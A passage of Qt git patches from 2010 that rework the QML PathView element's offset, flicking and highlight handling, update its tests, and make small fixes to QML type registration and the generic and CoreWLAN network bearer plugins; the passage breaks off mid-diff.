QDeclarativePathView::mouseMoveEvent(QGraphicsSceneMouseEvent *event) { Q_D(QDeclarativePathView); - if (d->lastPosTime.isNull()) + if (!d->interactive || d->lastPosTime.isNull()) return; if (!d->stealMouse) { @@ -555,14 +738,14 @@ void QDeclarativePathView::mouseMoveEvent(QGraphicsSceneMouseEvent *event) d->moveReason = QDeclarativePathViewPrivate::Mouse; qreal newPc; d->pointNear(event->pos(), &newPc); - qreal diff = newPc - d->startPc; + qreal diff = (newPc - d->startPc)*d->model->count()*d->mappedRange; if (diff) { - setOffset(d->_offset + diff); + setOffset(d->offset + diff); - if (diff > 0.5) - diff -= 1.0; - else if (diff < -0.5) - diff += 1.0; + if (diff > d->model->count()/2) + diff -= d->model->count(); + else if (diff < -d->model->count()/2) + diff += d->model->count(); d->lastElapsed = QDeclarativeItemPrivate::restart(d->lastPosTime); d->lastDist = diff; @@ -574,27 +757,37 @@ void QDeclarativePathView::mouseMoveEvent(QGraphicsSceneMouseEvent *event) void QDeclarativePathView::mouseReleaseEvent(QGraphicsSceneMouseEvent *) { Q_D(QDeclarativePathView); - if (d->lastPosTime.isNull()) + d->stealMouse = false; + setKeepMouseGrab(false); + if (!d->interactive || d->lastPosTime.isNull()) return; qreal elapsed = qreal(d->lastElapsed + QDeclarativeItemPrivate::elapsed(d->lastPosTime)) / 1000.; qreal velocity = elapsed > 0. ? d->lastDist / elapsed : 0; - if (d->model && d->model->count() && qAbs(velocity) > 0.05) { - if (velocity > 1.5) - velocity = 1.5; - else if (velocity < -1.5) - velocity = -1.5; - qreal inc = qmlMod(d->_offset - d->snapPos, qreal(1.0 / d->model->count())); - qreal dist = qAbs(velocity/2 - qmlMod(velocity/2, qreal(1.0 / d->model->count()) - inc)); - d->moveOffset.setValue(d->_offset); - d->tl.accel(d->moveOffset, velocity, 0.1, dist); + if (d->model && d->model->count() && qAbs(velocity) > 1.) { + qreal count = d->pathItems == -1 ? d->model->count() : d->pathItems; + if (qAbs(velocity) > count * 2) // limit velocity + velocity = (velocity > 0 ? count : -count) * 2; + // Calculate the distance to be travelled + qreal v2 = velocity*velocity; + qreal accel = d->deceleration; + // + 0.25 to encourage moving at least one item in the flick direction + qreal dist = qMin(qreal(d->model->count()-1), d->model->count() * v2 / (accel * 2.0) + 0.25); + // round to nearest item. + if (velocity > 0.) + dist = qRound(dist + d->offset) - d->offset; + else + dist = qRound(dist - d->offset) + d->offset; + // Calculate accel required to stop on item boundary + accel = v2 / (2.0f * qAbs(dist)); + d->moveOffset.setValue(d->offset); + d->tl.accel(d->moveOffset, velocity, accel, dist); d->tl.callback(QDeclarativeTimeLineCallback(&d->moveOffset, d->fixOffsetCallback, d)); } else { d->fixOffset(); } d->lastPosTime = QTime(); - d->stealMouse = false; ungrabMouse(); } @@ -644,7 +837,8 @@ bool QDeclarativePathView::sendMouseEvent(QGraphicsSceneMouseEvent *event) bool QDeclarativePathView::sceneEventFilter(QGraphicsItem *i, QEvent *e) { - if (!isVisible()) + Q_D(QDeclarativePathView); + if (!isVisible() || !d->interactive) return QDeclarativeItem::sceneEventFilter(i, e); switch (e->type()) { @@ -669,72 +863,7 @@ void QDeclarativePathView::componentComplete() Q_D(QDeclarativePathView); QDeclarativeItem::componentComplete(); d->regenerate(); - - // move to correct offset - if (d->items.count()) { - int itemIndex = (d->currentIndex - d->firstIndex + d->model->count()) % d->model->count(); - - itemIndex += d->pathOffset; - itemIndex %= d->items.count(); - qreal targetOffset = qmlMod(1.0 + d->snapPos - qreal(itemIndex) / d->items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset != d->_offset) { - d->moveOffset.setValue(targetOffset); - } - } -} - -void QDeclarativePathViewPrivate::regenerate() -{ - Q_Q(QDeclarativePathView); - if (!q->isComponentComplete()) - return; - - clear(); - - if (!isValid()) - return; - - if (firstIndex >= model->count()) - firstIndex = model->count()-1; - if (pathOffset >= model->count()) - pathOffset = model->count()-1; - - int numItems = pathItems >= 0 ? pathItems : model->count(); - for (int i=0; i < numItems && i < model->count(); ++i){ - int index = (i + firstIndex) % model->count(); - QDeclarativeItem *item = getItem(index); - if (!item) { - qWarning() << "PathView: Cannot create item, index" << (i + firstIndex) % model->count(); - return; - } - items.append(item); - item->setZValue(i); - qreal percent = qreal(i) / numItems + _offset; - percent = qAbs(qmlMod(percent, qreal(1.0))); - updateItem(item, percent); - model->completeItem(); - if (currentIndex == index) { - item->setFocus(true); - if (QDeclarativePathViewAttached *att = attached(item)) - att->setIsCurrentItem(true); - } - } - if (pathItems != -1) - q->refill(); -} - -void QDeclarativePathViewPrivate::updateItem(QDeclarativeItem *item, qreal percent) -{ - if (QDeclarativePathViewAttached *att = attached(item)) { - foreach(const QString &attr, path->attributes()) - att->setValue(attr.toUtf8(), path->attributeAt(attr, percent)); - } - QPointF pf = path->pointAt(percent); - item->setX(pf.x() - item->width()*item->scale()/2); - item->setY(pf.y() - item->height()*item->scale()/2); + d->updateHighlight(); } void QDeclarativePathView::refill() @@ -743,81 +872,85 @@ void QDeclarativePathView::refill() if (!d->isValid() || !isComponentComplete()) return; - QList positions; - for (int i=0; iitems.count(); i++){ - qreal percent = qreal(i) / d->items.count(); - percent = percent + d->_offset; - percent = qmlMod(percent, qreal(1.0)); - positions << qAbs(percent); - } - - if (d->pathItems==-1) { - for (int i=0; iupdateItem(d->items.at(i), positions[i]); - return; +// qDebug() << "offset" << d->_offset; + + // first move existing items and remove items off path + int idx = d->firstIndex; + QList::iterator it = d->items.begin(); + while (it != d->items.end()) { + qreal pos = d->positionOfIndex(idx); + QDeclarativeItem *item = *it; + if (pos >= 0.0) { + d->updateItem(item, pos); + ++it; + } else { +// qDebug() << "release"; + d->updateItem(item, 1.0); + d->releaseItem(item); + if (it == d->items.begin()) { + if (++d->firstIndex >= d->model->count()) + d->firstIndex = 0; + } + it = d->items.erase(it); + } + ++idx; + if (idx >= d->model->count()) + idx = 0; } - QList rotatedPositions; - for (int i=0; iitems.count(); i++) - rotatedPositions << positions[(i + d->pathOffset + d->items.count()) % d->items.count()]; - - int wrapIndex= -1; - for (int i=0; iitems.count()-1; i++) { - if (rotatedPositions[i] > rotatedPositions[i+1]){ - wrapIndex = i; - break; + // add items to beginning and end + int count = d->pathItems == -1 ? d->model->count() : qMin(d->pathItems, d->model->count()); + if (d->items.count() < count) { + int idx = qRound(d->model->count() - d->offset) % d->model->count(); + qreal startPos = d->snapPos; + if (d->firstIndex >= 0) { + startPos = d->positionOfIndex(d->firstIndex); + idx = (d->firstIndex + d->items.count()) % d->model->count(); } - } - if (wrapIndex != -1 ){ - //A wraparound has occured - if (wrapIndex < d->items.count()/2){ - while(wrapIndex-- >= 0){ - QDeclarativeItem* p = d->items.takeFirst(); - d->updateItem(p, 0.0); - d->releaseItem(p); - d->firstIndex++; - d->firstIndex %= d->model->count(); - int index = (d->firstIndex + d->items.count())%d->model->count(); - QDeclarativeItem *item = d->getItem(index); - item->setZValue(wrapIndex); - d->model->completeItem(); - if (d->currentIndex == index) { - item->setFocus(true); - if (QDeclarativePathViewAttached *att = d->attached(item)) - att->setIsCurrentItem(true); - } - d->items << item; - d->pathOffset++; - d->pathOffset=d->pathOffset % d->items.count(); + qreal pos = d->positionOfIndex(idx); + while ((pos > startPos || !d->items.count()) && d->items.count() < count) { +// qDebug() << "append" << idx; + QDeclarativeItem *item = d->getItem(idx); + item->setZValue(idx+1); + d->model->completeItem(); + if (d->currentIndex == idx) { + item->setFocus(true); + if (QDeclarativePathViewAttached *att = d->attached(item)) + att->setIsCurrentItem(true); } - } else { - while(wrapIndex++ < d->items.count()-1){ - QDeclarativeItem* p = d->items.takeLast(); - d->updateItem(p, 1.0); - d->releaseItem(p); - d->firstIndex--; - if (d->firstIndex < 0) - d->firstIndex = d->model->count() - 1; - QDeclarativeItem *item = d->getItem(d->firstIndex); - item->setZValue(d->firstIndex); - d->model->completeItem(); - if (d->currentIndex == d->firstIndex) { - item->setFocus(true); - if (QDeclarativePathViewAttached *att = d->attached(item)) - att->setIsCurrentItem(true); - } - d->items.prepend(item); - d->pathOffset--; - if (d->pathOffset < 0) - d->pathOffset = d->items.count() - 1; + if (d->items.count() == 0) + d->firstIndex = idx; + d->items.append(item); + d->updateItem(item, pos); + ++idx; + if (idx >= d->model->count()) + idx = 0; + pos = d->positionOfIndex(idx); + } + + idx = d->firstIndex - 1; + if (idx < 0) + idx = d->model->count() - 1; + pos = d->positionOfIndex(idx); + while (pos >= 0.0 && pos < startPos) { +// qDebug() << "prepend" << idx; + QDeclarativeItem *item = d->getItem(idx); + item->setZValue(idx+1); + d->model->completeItem(); + if (d->currentIndex == idx) { + item->setFocus(true); + if (QDeclarativePathViewAttached *att = d->attached(item)) + att->setIsCurrentItem(true); } + d->items.prepend(item); + d->updateItem(item, pos); + d->firstIndex = idx; + idx = d->firstIndex - 1; + if (idx < 0) + idx = d->model->count() - 1; + pos = d->positionOfIndex(idx); } - for (int i=0; iitems.count(); i++) - rotatedPositions[i] = positions[(i + d->pathOffset + d->items.count()) - % d->items.count()]; } - for (int i=0; iitems.count(); i++) - d->updateItem(d->items.at(i), rotatedPositions[i]); } void QDeclarativePathView::itemsInserted(int modelIndex, int count) @@ -826,29 +959,14 @@ void QDeclarativePathView::itemsInserted(int modelIndex, int count) Q_D(QDeclarativePathView); if (!d->isValid() || !isComponentComplete()) return; - if (d->pathItems == -1) { - for (int i = 0; i < count; ++i) { - QDeclarativeItem *item = d->getItem(modelIndex + i); - item->setZValue(modelIndex + i); - d->model->completeItem(); - d->items.insert(modelIndex + i, item); - } - refill(); - } else { - //XXX This is pretty heavy handed until we reference count items. - d->regenerate(); - } - // make sure the current item is still at the snap position - int itemIndex = (d->currentIndex - d->firstIndex + d->model->count())%d->model->count(); - itemIndex += d->pathOffset; - itemIndex %= d->items.count(); - qreal targetOffset = qmlMod(1.0 + d->snapPos - qreal(itemIndex) / d->items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset != d->_offset) - d->moveOffset.setValue(targetOffset); + QList removedItems = d->items; + d->items.clear(); + d->regenerate(); + while (removedItems.count()) + d->releaseItem(removedItems.takeLast()); + d->updateCurrent(); + emit countChanged(); } void QDeclarativePathView::itemsRemoved(int modelIndex, int count) @@ -857,41 +975,37 @@ void QDeclarativePathView::itemsRemoved(int modelIndex, int count) Q_D(QDeclarativePathView); if (!d->isValid() || !isComponentComplete()) return; - if (d->pathItems == -1) { - for (int i = 0; i < count && d->items.count() > modelIndex; ++i) { - QDeclarativeItem* p = d->items.takeAt(modelIndex); - d->model->release(p); - } - d->snapToCurrent(); - refill(); - } else { - d->regenerate(); - } - if (d->model->count() == 0) { - d->currentIndex = -1; - d->moveOffset.setValue(0); + QList removedItems = d->items; + d->items.clear(); + if (d->offset >= d->model->count()) + d->offset = d->model->count() - 1; + d->regenerate(); + while (removedItems.count()) + d->releaseItem(removedItems.takeLast()); + d->updateCurrent(); + emit countChanged(); +} + +void QDeclarativePathView::itemsMoved(int from, int to, int count) +{ + Q_D(QDeclarativePathView); + if (!d->isValid() || !isComponentComplete()) return; - } - // make sure the current item is still at the snap position - if (d->currentIndex >= d->model->count()) - d->currentIndex = d->model->count() - 1; - int itemIndex = (d->currentIndex - d->firstIndex + d->model->count())%d->model->count(); - itemIndex += d->pathOffset; - itemIndex %= d->items.count(); - qreal targetOffset = qmlMod(1.0 + d->snapPos - qreal(itemIndex) / d->items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset != d->_offset) - d->moveOffset.setValue(targetOffset); + QList removedItems = d->items; + d->items.clear(); + d->regenerate(); + while (removedItems.count()) + d->releaseItem(removedItems.takeLast()); + d->updateCurrent(); } void QDeclarativePathView::modelReset() { Q_D(QDeclarativePathView); d->regenerate(); + emit countChanged(); } void QDeclarativePathView::createdItem(int index, QDeclarativeItem *item) @@ -919,36 +1033,10 @@ int QDeclarativePathViewPrivate::calcCurrentIndex() { int current = -1; if (model && items.count()) { - _offset = qmlMod(_offset, qreal(1.0)); - if (_offset < 0) - _offset += 1.0; - - if (pathItems == -1) { - qreal delta = qmlMod(_offset - snapPos, qreal(1.0)); - if (delta < 0) - delta = 1.0 + delta; - int ii = model->count() - qRound(delta * model->count()); - if (ii < 0) - ii = 0; - current = ii; - } else { - qreal bestDiff=1e9; - int bestI=-1; - for (int i=0; icount()); + offset = qmlMod(offset, model->count()); + if (offset < 0) + offset += model->count(); + current = qRound(qAbs(qmlMod(model->count() - offset, model->count()))); } return current; @@ -1002,57 +1090,26 @@ void QDeclarativePathViewPrivate::snapToCurrent() if (!model || model->count() <= 0) return; - int itemIndex = (currentIndex - firstIndex + model->count()) % model->count(); - - //Rounds is the number of times round to make the current item visible - int rounds = itemIndex / items.count(); - int otherWayRounds = (model->count() - (itemIndex)) / items.count(); - if (otherWayRounds < rounds) - rounds = -otherWayRounds; - - itemIndex += pathOffset; - if(model->count() % items.count() && itemIndex - model->count() + items.count() > 0){ - //When model.count() is not a multiple of pathItemCount we need to manually - //fix the index so that going backwards one step works correctly. - itemIndex = itemIndex - model->count() + items.count(); - } - itemIndex %= items.count(); - qreal targetOffset = qmlMod(1.0 + snapPos - qreal(itemIndex) / items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset == _offset && rounds == 0) - return; + qreal targetOffset = model->count() - currentIndex; moveReason = Other; tl.clear(); - moveOffset.setValue(_offset); - - if (rounds!=0){ - //Compensate if the targetOffset would bring the target in from off the screen - qreal distance = targetOffset - _offset; - if (distance <= -0.5) - rounds--; - if (distance > 0.5) - rounds++; - tl.move(moveOffset, targetOffset -rounds, QEasingCurve(QEasingCurve::InOutQuad), - int(items.count()*qMax((qreal)(2.0/items.count()),(qreal)qAbs(rounds)))); - tl.callback(QDeclarativeTimeLineCallback(&moveOffset, fixOffsetCallback, this)); - return; - } - - if (targetOffset - _offset > 0.5) { - qreal distance = 1 - targetOffset + _offset; - tl.move(moveOffset, 0.0, QEasingCurve(QEasingCurve::OutQuad), int(200 * _offset / distance)); - tl.set(moveOffset, 1.0); - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InQuad), int(200 * (1.0-targetOffset) / distance)); - } else if (targetOffset - _offset <= -0.5) { - qreal distance = 1 - _offset + targetOffset; - tl.move(moveOffset, 1.0, QEasingCurve(QEasingCurve::OutQuad), int(200 * (1.0-_offset) / distance)); + moveOffset.setValue(offset); + + const int duration = 300; + + if (targetOffset - offset > model->count()/2) { + qreal distance = model->count() - targetOffset + offset; + tl.move(moveOffset, 0.0, QEasingCurve(QEasingCurve::InQuad), int(duration * offset / distance)); + tl.set(moveOffset, model->count()); + tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::OutQuad), int(duration * (model->count()-targetOffset) / distance)); + } else if (targetOffset - offset <= -model->count()/2) { + qreal distance = model->count() - offset + targetOffset; + tl.move(moveOffset, model->count(), QEasingCurve(QEasingCurve::InQuad), int(duration * (model->count()-offset) / distance)); tl.set(moveOffset, 0.0); - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InQuad), int(200 * targetOffset / distance)); + tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::OutQuad), int(duration * targetOffset / distance)); } else { - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), 200); + tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), duration); } } diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p.h index 6dbd044..07b8f6f 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview_p.h +++ b/src/declarative/graphicsitems/qdeclarativepathview_p.h @@ -62,8 +62,15 @@ class Q_DECLARATIVE_EXPORT QDeclarativePathView : public QDeclarativeItem Q_PROPERTY(int currentIndex READ currentIndex WRITE setCurrentIndex NOTIFY currentIndexChanged) Q_PROPERTY(qreal offset READ offset WRITE setOffset NOTIFY offsetChanged) Q_PROPERTY(qreal snapPosition READ snapPosition WRITE setSnapPosition NOTIFY snapPositionChanged) + + Q_PROPERTY(QDeclarativeComponent *highlight READ highlight WRITE setHighlight NOTIFY highlightChanged) + Q_PROPERTY(QDeclarativeItem *highlightItem READ highlightItem NOTIFY highlightItemChanged) + Q_PROPERTY(qreal dragMargin READ dragMargin WRITE setDragMargin NOTIFY dragMarginChanged) - Q_PROPERTY(int count READ count) + Q_PROPERTY(qreal flickDeceleration READ flickDeceleration WRITE setFlickDeceleration NOTIFY flickDecelerationChanged) + Q_PROPERTY(bool interactive READ isInteractive WRITE setInteractive NOTIFY interactiveChanged) + + Q_PROPERTY(int count READ count NOTIFY countChanged) Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged) Q_PROPERTY(int pathItemCount READ pathItemCount WRITE setPathItemCount NOTIFY pathItemCountChanged) @@ -86,9 +93,19 @@ public: qreal snapPosition() const; void setSnapPosition(qreal pos); + QDeclarativeComponent *highlight() const; + void setHighlight(QDeclarativeComponent *highlight); + QDeclarativeItem *highlightItem(); + qreal dragMargin() const; void setDragMargin(qreal margin); + qreal flickDeceleration() const; + void setFlickDeceleration(qreal dec); + + bool isInteractive() const; + void setInteractive(bool); + int count() const; QDeclarativeComponent *delegate() const; @@ -103,11 +120,16 @@ Q_SIGNALS: void currentIndexChanged(); void offsetChanged(); void modelChanged(); + void countChanged(); void pathChanged(); void dragMarginChanged(); void snapPositionChanged(); void delegateChanged(); void pathItemCountChanged(); + void flickDecelerationChanged(); + void interactiveChanged(); + void highlightChanged(); + void highlightItemChanged(); protected: void mousePressEvent(QGraphicsSceneMouseEvent *event); @@ -122,6 +144,7 @@ private Q_SLOTS: void ticked(); void itemsInserted(int index, int count); void itemsRemoved(int index, int count); + void itemsMoved(int,int,int); void modelReset(); void createdItem(int index, QDeclarativeItem *item); void destroyingItem(QDeclarativeItem *item); diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h index 62f7d95..1780869 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h @@ -75,17 +75,18 @@ class QDeclarativePathViewPrivate : public QDeclarativeItemPrivate public: QDeclarativePathViewPrivate() : path(0), currentIndex(0), startPc(0), lastDist(0) - , lastElapsed(0), stealMouse(false), ownModel(false), activeItem(0) - , snapPos(0), dragMargin(0), moveOffset(this, &QDeclarativePathViewPrivate::setOffset) - , firstIndex(0), pathItems(-1), pathOffset(0), requestedIndex(-1) - , moveReason(Other), attType(0) + , lastElapsed(0), mappedRange(1.0), stealMouse(false), ownModel(false), interactive(true) + , snapPos(0), dragMargin(0), deceleration(100) + , moveOffset(this, &QDeclarativePathViewPrivate::setOffset) + , firstIndex(-1), pathItems(-1), requestedIndex(-1) + , moveReason(Other), attType(0), highlightComponent(0), highlightItem(0) { } void init() { Q_Q(QDeclarativePathView); - _offset = 0; + offset = 0; q->setAcceptedMouseButtons(Qt::LeftButton); q->setFlag(QGraphicsItem::ItemIsFocusScope); q->setFiltersChildEvents(true); @@ -96,7 +97,10 @@ public: void releaseItem(QDeclarativeItem *item); QDeclarativePathViewAttached *attached(QDeclarativeItem *item); void clear(); - + void updateMappedRange(); + qreal positionOfIndex(int index) const; + void createHighlight(); + void updateHighlight(); bool isValid() const { return model && model->count() > 0 && model->isValid() && path; } @@ -117,19 +121,20 @@ public: QPointF startPoint; qreal lastDist; int lastElapsed; - qreal _offset; + qreal offset; + qreal mappedRange; bool stealMouse : 1; bool ownModel : 1; + bool interactive : 1; QTime lastPosTime; QPointF lastPos; - QDeclarativeItem *activeItem; qreal snapPos; qreal dragMargin; + qreal deceleration; QDeclarativeTimeLine tl; QDeclarativeTimeLineValueProxy moveOffset; int firstIndex; int pathItems; - int pathOffset; int requestedIndex; QList items; QDeclarativeGuard model; @@ -137,6 +142,8 @@ public: enum MovementReason { Other, Key, Mouse }; MovementReason moveReason; QDeclarativeOpenMetaObjectType *attType; + QDeclarativeComponent *highlightComponent; + QDeclarativeItem *highlightItem; }; QT_END_NAMESPACE diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml index ae0c86a..8e2c251 100644 --- a/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml +++ b/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml @@ -49,6 +49,11 @@ Rectangle { model: testModel delegate: delegate snapPosition: 0.0001 + highlight: Rectangle { + width: 60 + height: 20 + color: "yellow" + } path: Path { startY: 120 startX: 160 diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml index 70cfbcd..f1bc66e 100644 --- a/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml +++ b/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml @@ -2,7 +2,7 @@ import Qt 4.6 PathView { id: photoPathView - y: 100; width: 800; height: 330; pathItemCount: 4; offset: 0.1 + y: 100; width: 800; height: 330; pathItemCount: 4; offset: 1 dragMargin: 24; snapPosition: 0.50 path: Path { diff --git a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp index c16c46f..6d7cc0d 100644 --- a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp +++ b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp @@ -219,7 +219,7 @@ void tst_QDeclarativePathView::items() QDeclarativePathView *pathview = findItem(canvas->rootObject(), "view"); QVERIFY(pathview != 0); - QCOMPARE(pathview->childItems().count(), model.count()); // assumes all are visible + QCOMPARE(pathview->childItems().count(), model.count()+1); // assumes all are visible, including highlight for (int i = 0; i < model.count(); ++i) { QDeclarativeText *name = findItem(pathview, "textName", i); @@ -230,6 +230,16 @@ void tst_QDeclarativePathView::items() QCOMPARE(number->text(), model.number(i)); } + QDeclarativePath *path = qobject_cast(pathview->path()); + QVERIFY(path); + + QVERIFY(pathview->highlightItem()); + QPointF start = path->pointAt(0.0); + QPointF offset; + offset.setX(pathview->highlightItem()->width()/2); + offset.setY(pathview->highlightItem()->height()/2); + QCOMPARE(pathview->highlightItem()->pos() + offset, start); + delete canvas; } @@ -262,8 +272,8 @@ void tst_QDeclarativePathView::pathview3() QVERIFY(obj->delegate() != 0); QVERIFY(obj->model() != QVariant()); QCOMPARE(obj->currentIndex(), 0); - QCOMPARE(obj->offset(), 0.5); // ??? - QCOMPARE(obj->snapPosition(), 0.5); // ??? + QCOMPARE(obj->offset(), 1.0); + QCOMPARE(obj->snapPosition(), 0.5); QCOMPARE(obj->dragMargin(), 24.); QCOMPARE(obj->count(), 8); QCOMPARE(obj->pathItemCount(), 4); @@ -422,14 +432,14 @@ void tst_QDeclarativePathView::pathMoved() offset.setX(firstItem->width()/2); offset.setY(firstItem->height()/2); QCOMPARE(firstItem->pos() + offset, start); - pathview->setOffset(0.1); + pathview->setOffset(1.0); for(int i=0; i(pathview, "wrapper", i); - QCOMPARE(curItem->pos() + offset, path->pointAt(0.1 + i*0.25)); + QCOMPARE(curItem->pos() + offset, path->pointAt(0.25 + i*0.25)); } - pathview->setOffset(1.0); + pathview->setOffset(0.0); QCOMPARE(firstItem->pos() + offset, start); delete canvas; -- cgit v0.12 From f20433bb8b72589fff27ec66f2e283b2f48fb019 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 25 Mar 2010 14:32:05 +1000 Subject: Pen is not a creatable type. --- src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 1a48cbd..07d7f4d 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -114,7 +114,6 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("Qt",4,6,"PathPercent"); qmlRegisterType("Qt",4,6,"PathQuad"); qmlRegisterType("Qt",4,6,"PathView"); - qmlRegisterType("Qt",4,6,"Pen"); qmlRegisterType("Qt",4,6,"QIntValidator"); #if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) qmlRegisterType("Qt",4,7,"QDoubleValidator"); @@ -146,6 +145,7 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType(); qmlRegisterType(); qmlRegisterType(); + qmlRegisterType(); #ifdef QT_WEBKIT_LIB qmlRegisterType(); #endif -- cgit v0.12 From 2ecd038bd05671f70abd3aaf7df96ef486c84479 Mon Sep 17 00:00:00 2001 From: Lorn Potter Date: Thu, 25 Mar 2010 14:38:14 +1000 Subject: not all interfaces should be active --- src/plugins/bearer/generic/qgenericengine.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/plugins/bearer/generic/qgenericengine.cpp b/src/plugins/bearer/generic/qgenericengine.cpp index c1de4e0..b2d1b1f 100644 --- a/src/plugins/bearer/generic/qgenericengine.cpp +++ b/src/plugins/bearer/generic/qgenericengine.cpp @@ -221,8 +221,8 @@ void QGenericEngine::doRequestUpdate() if (name.isEmpty()) name = interface.name(); - QNetworkConfiguration::StateFlags state = QNetworkConfiguration::Discovered; - if (interface.flags() & QNetworkInterface::IsUp) + QNetworkConfiguration::StateFlags state = QNetworkConfiguration::Defined; + if((interface.flags() & QNetworkInterface::IsUp) && !interface.addressEntries().isEmpty()) state |= QNetworkConfiguration::Active; if (accessPointConfigurations.contains(id)) { -- cgit v0.12 From fb9753dd8b76e216794e1e604e79d27b33f37e69 Mon Sep 17 00:00:00 2001 From: Lorn Potter Date: Thu, 25 Mar 2010 14:42:56 +1000 Subject: fix multiple promps for keychain access when connecting to wifi network Task-number: QT-3150 --- src/plugins/bearer/corewlan/corewlan.pro | 2 +- src/plugins/bearer/corewlan/qcorewlanengine.mm | 148 ++++++++++++++++++------- 2 files changed, 111 insertions(+), 39 deletions(-) diff --git a/src/plugins/bearer/corewlan/corewlan.pro b/src/plugins/bearer/corewlan/corewlan.pro index 50c72b2..9786c03 100644 --- a/src/plugins/bearer/corewlan/corewlan.pro +++ b/src/plugins/bearer/corewlan/corewlan.pro @@ -6,7 +6,7 @@ LIBS += -framework Foundation -framework SystemConfiguration contains(QT_CONFIG, corewlan) { isEmpty(QMAKE_MAC_SDK)|contains(QMAKE_MAC_SDK, "/Developer/SDKs/MacOSX10.6.sdk") { - LIBS += -framework CoreWLAN + LIBS += -framework CoreWLAN -framework Security DEFINES += MAC_SDK_10_6 } } diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.mm b/src/plugins/bearer/corewlan/qcorewlanengine.mm index 9c2cb0c..b64fda8 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.mm +++ b/src/plugins/bearer/corewlan/qcorewlanengine.mm @@ -194,69 +194,138 @@ void QCoreWlanEngine::connectToId(const QString &id) NSError *err = nil; NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0]; - NSString *wantedSsid = 0; - bool okToProceed = true; + QString wantedSsid = 0; - if(getNetworkNameFromSsid(id) != id) { + QNetworkConfigurationPrivatePointer ptr = accessPointConfigurations.value(id); + + const QString idHash = QString::number(qHash(QLatin1String("corewlan:") + ptr->name)); + const QString idHash2 = QString::number(qHash(QLatin1String("corewlan:") + getNetworkNameFromSsid(ptr->name))); + + bool using8021X = false; + + if(idHash2 != id) { NSArray *array = [CW8021XProfile allUser8021XProfiles]; + for (NSUInteger i=0; i<[array count]; ++i) { - const QString idCheck = QString::number(qHash(QLatin1String("corewlan:") + qt_mac_NSStringToQString([[array objectAtIndex:i] userDefinedName]))); - const QString idCheck2 = QString::number(qHash(QLatin1String("corewlan:") + qt_mac_NSStringToQString([[array objectAtIndex:i] ssid]))); + const QString networkNameHashCheck = QString::number(qHash(QLatin1String("corewlan:") + qt_mac_NSStringToQString([[array objectAtIndex:i] userDefinedName]))); + + const QString ssidHash = QString::number(qHash(QLatin1String("corewlan:") + qt_mac_NSStringToQString([[array objectAtIndex:i] ssid]))); + + if(id == networkNameHashCheck + || id == ssidHash) { - if (id == idCheck || id == idCheck2) { QString thisName = getSsidFromNetworkName(id); if(thisName.isEmpty()) { - wantedSsid = qt_mac_QStringToNSString(id); + wantedSsid = id; } else { - wantedSsid = qt_mac_QStringToNSString(thisName); + wantedSsid = thisName; } - okToProceed = false; [params setValue: [array objectAtIndex:i] forKey:kCWAssocKey8021XProfile]; + using8021X = true; break; } } } - if(okToProceed) { - NSUInteger index = 0; - - CWConfiguration *userConfig = [ wifiInterface configuration]; - NSSet *remNets = [userConfig rememberedNetworks]; - NSEnumerator *enumerator = [remNets objectEnumerator]; - CWWirelessProfile *wProfile; - - while ((wProfile = [enumerator nextObject])) { - const QString idCheck = QString::number(qHash(QLatin1String("corewlan:") + qt_mac_NSStringToQString([wProfile ssid]))); - - if(id == idCheck) { - wantedSsid = [wProfile ssid]; - [params setValue: [wProfile passphrase] forKey: kCWAssocKeyPassphrase]; + if(!using8021X) { + QString wantedNetwork; + QMapIterator > i(userProfiles); + while (i.hasNext()) { + i.next(); + wantedNetwork = i.key(); + const QString networkNameHash = QString::number(qHash(QLatin1String("corewlan:") + wantedNetwork)); + if(id == networkNameHash) { + wantedSsid = getSsidFromNetworkName(wantedNetwork); break; } - index++; } } + NSDictionary *scanParameters = [NSDictionary dictionaryWithObjectsAndKeys: + 